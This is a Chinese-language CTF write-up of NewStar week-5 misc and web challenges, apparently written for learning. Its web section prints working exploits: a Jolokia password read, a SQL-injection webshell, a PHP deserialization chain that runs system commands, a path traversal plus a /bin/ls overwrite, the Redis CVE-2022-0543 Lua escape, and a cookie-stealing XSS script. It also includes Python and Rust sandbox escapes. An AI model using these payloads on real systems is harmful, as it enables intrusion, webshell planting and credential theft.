image-20260210105151297

在/actuator/env中找到了用户的密码,这是密文,扫目录要还有一个actuator/jolokia这个核心高危端点上,它是 Spring Boot 整合 Jolokia 后暴露的 JMX HTTP 桥接接口,只要能正常访问这个端点,就能直接操作 JVM 的 MBean,读取cafll.passwd

1
2
3
4
5
6
7
8
curl -X POST http://192.168.56.1:8684/actuator/jolokia \
-H "Content-Type: application/json" \
-d '{
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "exec",
"arguments": ["caef11.passwd"]
}'

image-20260210105812723

123456qWertAsdFgZxCvB!@#,用户名就是caef11

image-20260210105928191

这个其实就是back.html。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 // Handle file upload form submission
document.getElementById('uploadForm').addEventListener('submit', function(event) {
event.preventDefault();
const formData = new FormData(this);

fetch('/upload', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
document.getElementById('uploadResult').innerText = data.message;
})
.catch(error => {
document.getElementById('uploadResult').innerText = 'Error: ' + error.message;
});
});

// Handle command execution form submission
document.getElementById('commandForm').addEventListener('submit', function(event) {
event.preventDefault();
const dir = new URLSearchParams(new FormData(this)).get('dir');

fetch('/ls', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'dir=' + encodeURIComponent(dir)
})
.then(response => response.json())
.then(data => {
if (data.output) {
// Replace \\n with actual line breaks
const formattedOutput = data.output.replace(/\\n/g, '\n');
document.getElementById('output').textContent = formattedOutput;
} else {
document.getElementById('output').textContent = data.message;
}
})
.catch(error => {
document.getElementById('output').textContent = 'Error: ' + error.message;
});
});
</script>

这个命令执行只会执行ls命令,参考大佬wp2024newstar-web

写入定时任务,将flag的内容作为文件名

image-20260210114756789

过一会看tmp目录就行了,但是我尝试好像不行,但是方法没错大佬成功了

image-20250601151413789

week5

misc

zipmaster

image-20260206192050768

可以看到原始大小非常小,可以使用crc32爆破,大小为3

image-20260206193705125

this_is_key!就是密码,解压看附件提示

1
看起来好像和某个文件是一样的欸

就是明文攻击,注意压缩方法要相同这一题用的是Deflate

image-20260206201932413

image-20260206202008738

然后就可以解压了,解压得到flag.zip,随波逐流分析

image-20260206204400842

看官方wp说的是这是个压缩包炸弹,42.zip 是很有名的zip炸弹。一个42KB的文件,解压完其实是个4.5PB的“炸弹”,但是在文件末尾有base64数据

image-20260206204536715

随波逐流已经提取出来了,在cyberchef直接分析就行,按照官方wp配置

image-20260206204844013

保存数据到010,导入十六进制

image-20260206205145489

可以看到最下面有提示

1
what the fuck i can not see the passwdf4tj4oGMRuI=

密码是f4tj4oGMRuI=,base64解码后乱码不是明文,所以写一个脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import base64
import pyzipper
import os

def unzip_aes_with_base64_password(zip_path, base64_pwd, extract_dir):
"""
解压AES加密的ZIP包(使用Base64解码后的字节密码)
:param zip_path: ZIP包路径(/home/kali/11.zip)
:param base64_pwd: Base64编码的密码字符串
:param extract_dir: 解压输出目录
"""
# 1. 验证压缩包路径
if not os.path.exists(zip_path):
print(f"❌ 错误:压缩包不存在 -> {zip_path}")
return False

# 2. 创建解压目录(不存在则新建)
if not os.path.exists(extract_dir):
os.makedirs(extract_dir)
print(f"📁 已创建解压目录 -> {extract_dir}")

# 3. Base64解码为字节密码
try:
password_bytes = base64.b64decode(base64_pwd)
print(f"✅ Base64解码成功,密码字节长度:{len(password_bytes)}")
except Exception as e:
print(f"❌ Base64解码失败 -> {e}")
return False

# 4. 解压AES加密的ZIP包
try:
# 打开AES加密的ZIP(兼容常见的AES-128/192/256)
with pyzipper.AESZipFile(zip_path, 'r', compression=pyzipper.ZIP_DEFLATED) as zf:
zf.pwd = password_bytes
# 解压所有文件
zf.extractall(extract_dir)
print(f"🎉 解压成功!文件已保存到 -> {extract_dir}")
return True
except pyzipper.BadZipFile:
print("❌ 错误:压缩包损坏或不是有效的ZIP文件")
except RuntimeError as e:
if "password" in str(e).lower() or "pwd" in str(e).lower():
print("❌ 错误:密码错误(解码后的字节流不匹配)")
else:
print(f"❌ 解压运行时错误 -> {e}")
except PermissionError:
print("❌ 错误:无解压权限,请用sudo运行脚本")
except Exception as e:
print(f"❌ 解压异常 -> {e}")
return False

# 主程序入口
if __name__ == "__main__":
# 配置参数(适配Kali Linux)
TARGET_ZIP = "/home/kali/11.zip" # 你的目标ZIP路径
BASE64_PWD = "f4tj4oGMRuI=" # Base64编码的密码
OUTPUT_DIR = "./solved" # 解压输出目录(当前目录下的solved)

# 执行解压
unzip_aes_with_base64_password(TARGET_ZIP, BASE64_PWD, OUTPUT_DIR)

image-20260206210303049

I wanna be a Rust Master

这是沙箱逃逸,考察的是Rust语言,之前没怎么见过。但是用ai也可以分析出来

1
2
3
4
5
6
7
8
fn main() {
let bytes = include_bytes!("/\x66lag");
let mut s = String::new();
for b in bytes.iter().rev() {
s.push(*b as char);
}
Option::<u8>::None.expect(&s);
}

\x66 绕过:题目禁止代码中出现 “flag” 字符串。这里使用了十六进制转义:\x66 在 ASCII 码中对应字符 f,然后倒序输出flag绕过限制

image-20260210170513295

flag{neW5T4r-CtF_2OZA2ea61296be26}

PlzLoveMe

首先看提示说RAW 记录了音频采样数据(采样率已在题目提示),需要以适合的方式解析音频。AXF 文件是带符号的固件,使用 Linux 的 file 命令可查看其相关信息。请用 IDA 分析。

题目提示给了采样率为16k,准换为音频就行,没有知道好用的网站,用脚本转换一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import wave

# ===================== 仅需修改这两个参数 =====================
RAW_FILE_PATH = "202410182138_0a2f41.raw" # 替换成你的RAW文件路径
OUTPUT_WAV_PATH = "output_audio.wav" # 输出的可播放音频文件
# ==============================================================

# 固定参数(题目给定采样率16k,通用RAW音频格式)
SAMPLE_RATE = 16000 # 采样率:16kHz(题目指定)
CHANNELS = 1 # 单声道(RAW音频最常见)
BITS_PER_SAMPLE = 16 # 16位深(通用配置)

# 读取RAW原始采样数据
with open(RAW_FILE_PATH, "rb") as f:
raw_audio_data = f.read()

# 将RAW数据写入WAV文件(解析为可播放音频)
with wave.open(OUTPUT_WAV_PATH, "wb") as wav_file:
wav_file.setnchannels(CHANNELS) # 设置声道数
wav_file.setsampwidth(BITS_PER_SAMPLE // 8) # 设置位深(16bit=2字节)
wav_file.setframerate(SAMPLE_RATE) # 设置采样率
wav_file.writeframes(raw_audio_data) # 写入原始采样数据

print(f"✅ 音频解析完成!可播放的WAV文件已生成:{OUTPUT_WAV_PATH}")

得到的音频用app识别一下是歌名是world.exectue(me),在3分01时的歌词是

image-20260210173329586 播放到3.01时的LCD照片

上面的就是歌词,最后三排是

fhwdLd

mnwdOnV

mnwdOnV

接下来的IDA分析就参考官方wp吧俺不会

最后的flag就是

flag{giveMeloveNoWloveNoW}

pyjail

又是沙箱逃逸,先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
black_list = ['import','getattr','setattr','delattr','eval','exec','global','local','builtin','input','compile','help','breakpoint','license','byte','.','[','+','#','\'','"','{']

def check_ascii(code):
assert code.isascii()
def check_black_list(code):
for item in black_list:
assert item not in code,f'bad: {item}'

if __name__ == '__main__':
code = input('> ') + '\n'
while True:
_ = input()
if _ == 'EOF':
break
code += _ + '\n'

check_ascii(code)
check_black_list(code)
try:
exec(code)
except:
print('Exception!')

首先定义了一个黑名单,然后是检查输入必须是ASCII字符字符,然后就是输入了,通过EOF退出循环,检查黑名单和ASCII字符,然后执行。payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
d = dict()
match d:
case object(setdefault=s):
s(chr(47), 0)
s(chr(102), 0)
s(chr(108), 0)
s(chr(97), 0)
s(chr(103), 0)
match str():
case object(join=j):
match j(d):
case p:
match open(p):
case object(read=r):
print(r())

利用 Python 3.10 + 的match-case模式匹配特性,绕开所有黑名单限制(无./ 无引号 / 无+/ 无import),最终读取/flag文件

首先初始化一个空字典,用来存储字符,这里object(setdefault=s)表示:匹配任意对象,提取其setdefault方法并赋值给变量s

然后就是像字典中添加字符,添加完后就是d = {'/':0, 'f':0, 'l':0, 'a':0, 'g':0}然后将字典d的键拼接成字符串赋值给p,读取文件内容

image-20260210192334755

web

sqlshell

单引号闭合,回显有3列,根据题目名可以写入shell

1
1' union select 1,2,"<?php eval($_POST['1']);?>" into outfile "/var/www/html/1.php" --+

image-20260210195218997

臭皮吹泡泡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
error_reporting(0);
highlight_file(__FILE__);

class study
{
public $study;

public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf;
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{
$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}

}
public function __destruct(){
echo "study ctf let me happy";
}
}

class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}



$signin = $_GET['new_star[ctf'];
if ($signin) {
$signin = base64_decode($signin);
unserialize($signin);
}else{
echo "你是真正的CTF New Star 吗? 让我看看你的能力";
} 你是真正的CTF New Star 吗? 让我看看你的能力

这里最后要用get_flag函数写入shell。

1
$runcode="<?php #".$this->let_me."?>";

虽然前面有注释符,但是可以闭合前面的语句,然后写入恶意语句,paylaod

1
?><?php system('cat /flag');

直接写入的话接下来就会执行unlink()函数,就会直接把文件删除。在这之前还会执行

1
echo ("we need more".$this->time);

如果$this->time是ctf类的对象的话通过echo会调用_tostring,然后就看ctf属性的值了。

如果ctf===phpinfo代码就会直接执行die函数结束代码,那么我们写入的的文件就不会删除,或者让ctf===die,虽然会通过if语句的判断,但下面有 ($this->ctf)(1);也就是die(1)达到同样的效果。后半段的思路理清,接下看前半段。代码中使用了unserialize()函数还有

1
2
3
4
5
6
7
8
9
10
11
class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}

还有这个_wakeup的方法,接下来是return $str; 这个sign_in是ctf的对象就可以直接触发_tostring,然后执行到(this->ctf)(1)接下来就是要调用get_flag()函数,我们要实例化一个let_me对象,在(this->ctf)(1)中调用get_flag函数,然后就接上后面的思路。exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php


class study
{
public $study;

public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf;
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{

$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {

file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}

}
public function __destruct(){
echo "study ctf let me happy";
}
}

class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}
$a=new happy();
$a->sign_in=new ctf();
$b=new let_me();
$a->sign_in->ctf=array($b,"get_flag");
$b->let_me="?><?php system('cat /flag');";
$b->time=new ctf();
$b->time->ctf="phpinfo";
echo serialize($a)."\n";
echo base64_encode(serialize($a));
?>

注意这里的调用$a->sign_in->ctf=array($b,"get_flag");使用数组调用,注意这里array($b,”get_flag”)不能直接写成$b->get_flag

代码中 ($this->ctf)(1) 的逻辑是:把 $this->ctf 当作可调用对象 / 函数 来执行,并传入参数 1,$b->get_flag:尝试读取$b 对象的 get_flag 属性。

image-20260211105250380

臭皮的网站

依旧扫目录起手

image-20260211110231439

看到这个static目录,题目又是flask框架,前一段的i春秋冬季赛考过一道目录遍历漏洞,尝试一下

image-20260211110652707

这一道题也是CVE-2024-23334

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import subprocess
from aiohttp import web
from aiohttp_session import setup as session_setup, get_session
from aiohttp_session.cookie_storage import EncryptedCookieStorage
import os
import uuid
import secrets
import random
import string
import base64
random.seed(uuid.getnode())
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1


adminname = "admin"


def CreteKey():
key_bytes = secrets.token_bytes(32)
key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii')
return key_str


def authenticate(username, password):
if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):
return True
else:
return False


async def middleware(app, handler):
async def middleware_handler(request):
try:
response = await handler(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except web.HTTPNotFound:
response = await handler_404(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except Exception:
response = await handler_500(request)
response.headers['Server'] = 'nginx/114.5.14'
return response

return middleware_handler


async def handler_404(request):
return web.FileResponse('./template/404.html', status=404)


async def handler_500(request):
return web.FileResponse('./template/500.html', status=500)


async def index(request):
return web.FileResponse('./template/index.html')


async def login(request):
data = await request.post()
username = data['username']
password = data['password']
if authenticate(username, password):
session = await get_session(request)
session['user'] = 'admin'
response = web.HTTPFound('/home')
response.session = session
return response
else:
return web.Response(text="账号或密码错误哦", status=200)


async def home(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
return web.FileResponse('./template/home.html')
else:
return web.HTTPFound('/')


async def upload(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
reader = await request.multipart()
file = await reader.next()
if file:
filename = './static/' + file.filename
with open(filename,'wb') as f:
while True:
chunk = await file.read_chunk()
if not chunk:
break
f.write(chunk)
return web.HTTPFound("/list")
else:
response = web.HTTPFound('/home')
return response
else:
return web.HTTPFound('/')


async def ListFile(request):
session = await get_session(request)
user = session.get('user')
command = "ls ./static"
if user == 'admin':
result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)
files_list = result.stdout
return web.Response(text="static目录下存在文件\n"+files_list)
else:
return web.HTTPFound('/')


async def init_app():
app = web.Application()
app.router.add_static('/static/', './static', follow_symlinks=True)
session_setup(app, EncryptedCookieStorage(secret_key=CreteKey()))
app.middlewares.append(middleware)
app.router.add_route('GET', '/', index)
app.router.add_route('POST', '/', login)
app.router.add_route('GET', '/home', home)
app.router.add_route('POST', '/upload', upload)
app.router.add_route('GET', '/list', ListFile)
return app


web.run_app(init_app(), host='0.0.0.0', port=80)

尝试使用这个任意文件读取漏洞读不到flag,那就要登入。先获得mac地址

/static/../../sys/class/net/eth0/address,读取到之后就可以爆破密码,参考脚本

1
2
3
4
5
6
7
8
9
import uuid
import random
import string
import base64
random.seed(0x00163e3261b7)
b=''.join(random.choices(string.ascii_letters + string.digits, k=8))
print(b)
print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))
print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))

登入进入就是文件上传

1
filename = './static/' + file.filename

这里直接拼接的就是文件路径,也就是我们可以将文件上传到任意目录,然后再list路由下会执行ls命令,那么可以覆盖ls文件,改为我门要执行的命令。/bin/ls 是系统指令 ls 存放的位置,这里的操作相当于把系统本来的 ls 给替换掉了。也即是/bin/ls执行的是其他命令,比如cat,nl等等。这一题比较奇葩,需要使用dir。这一题的题目环境应该有问题,下面的图是参考大佬的wp

ls 文件内容

触发恶意的 ls

再次替换一下ls命令就行

ez_redis

依旧扫目录,有个www.zip,解压得到index.php,关键键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include_once "./core.php";
?>

<?php
if(isset($_POST['eval'])){
$cmd = $_POST['eval'];
if(preg_match("/set|php/i",$cmd))
{
$cmd = 'return "u are not newstar";';
}
$example = new Redis();
$example->connect($REDIS_HOST);
$result = json_encode($example->eval($cmd));
echo '<h1 class="subtitle">结果</h1>';
echo "<pre>$result</pre>";
}
?>

这里考察的是是 Redis 语法过滤了set,php。看wp得到考察的就是一个CVE-2022-0543vulhub/redis/CVE-2022-0543/README.zh-cn.md at master · vulhub/vulhub

paylaod

1
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /flag", "r"); local res = f:read("*a"); f:close(); return res

PangBai 过家家(5)

经典的信箱题目,考察的是xss,先看一下附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/box/:id', async (ctx, next) => {
const letter = Memory.get(ctx.params['id'])
await ctx.render('letter', <TmplProps>{
page_title: 'PangBai 过家家 (5)',
sub_title: '查看信件',
id: ctx.params['id'],
hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)],
data: letter ? {
title: safe_html(letter.title),
content: safe_html(letter.content)
} : { title: TITLE_EMPTY, content: CONTENT_EMPTY },
error: letter ? null : '找不到该信件'
})
})

/box/:id 路由,会渲染我们的输入,我们的输入会经过下面的过滤

1
2
3
4
5
6
function safe_html(str: string) {
return str
.replace(/<.*>/igm, '')
.replace(/<\.*>/igm, '')
.replace(/<.*>.*<\/.*>/igm, '')
}

/<.*>/igm:试图匹配 < 开始,中间任意字符,> 结束的字符串。

因为 . 不匹配换行符,只要我们将 <> 放在不同的行,或者在标签属性中插入换行符,就能绕过这所有的正则匹配。

在bot.ts

1
2
3
4
5
6
7
8
await page.setCookie({
name: 'FLAG',
value: process.env['FLAG'] || 'flag{test_flag}',
httpOnly: false,
path: '/',
domain: 'localhost:3000',
sameSite: 'Strict'
});

flag在cookie中。由于题目不出网,我们只能让bot自己写一封信, 用恶意JavaScript 代码,模拟用户操作,将 Cookie 作为一个信件的内容提交(让 Bot 写信)

1
2
3
4
5
6
7
8
9
10
11
// 这是我们要让 Bot 执行的代码
fetch('/api/send', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: 'FLAG_IS_HERE',
content: document.cookie // 把 Cookie (Flag) 当作信件内容
})
});

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import base64
import json

# 请替换为题目实际地址
BASE_URL = "http://192.168.56.1:7769/"

def attack():
# 1. 准备要让 Bot 执行的 JS 代码
# 功能:Bot 带着自己的 Cookie 调用发信接口
js_code = """
fetch('/api/send', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
title: 'HACKED_FLAG',
content: document.cookie
})
});
"""

# 2. 将 JS 转为 Base64,避免特殊字符问题
b64_code = base64.b64encode(js_code.encode()).decode()

# 3. 构造 XSS Payload,利用换行符绕过 safe_html 正则
# 使用 <svg> 或 <img> 均可
xss_payload = f"""<svg
onload=eval(atob('{b64_code}'))
>"""

print(f"[+] Payload generated (Length: {len(xss_payload)})")

# 4. 发送第一封信(埋雷)
print("[+] Sending malicious letter...")
res = requests.post(f"{BASE_URL}/api/send", json={
"title": "Please read this",
"content": xss_payload
})

if res.status_code != 200:
print("[-] Failed to send letter:", res.text)
return

letter_id = res.json().get("id")
print(f"[+] Malicious Letter ID: {letter_id}")

# 5. 召唤 Bot 查看这封信
print("[+] Calling Bot to visit the letter...")
res = requests.post(f"{BASE_URL}/api/call", json={
"id": letter_id
})
print(f"[+] Bot response: {res.text}")

print("-" * 30)
print("[*] Attack finished! Now go to the website's '/box' page.")
print("[*] You should see a new letter titled 'HACKED_FLAG'.")
print("[*] The content of that letter is the FLAG.")

if __name__ == "__main__":
attack()

image-20260211163727244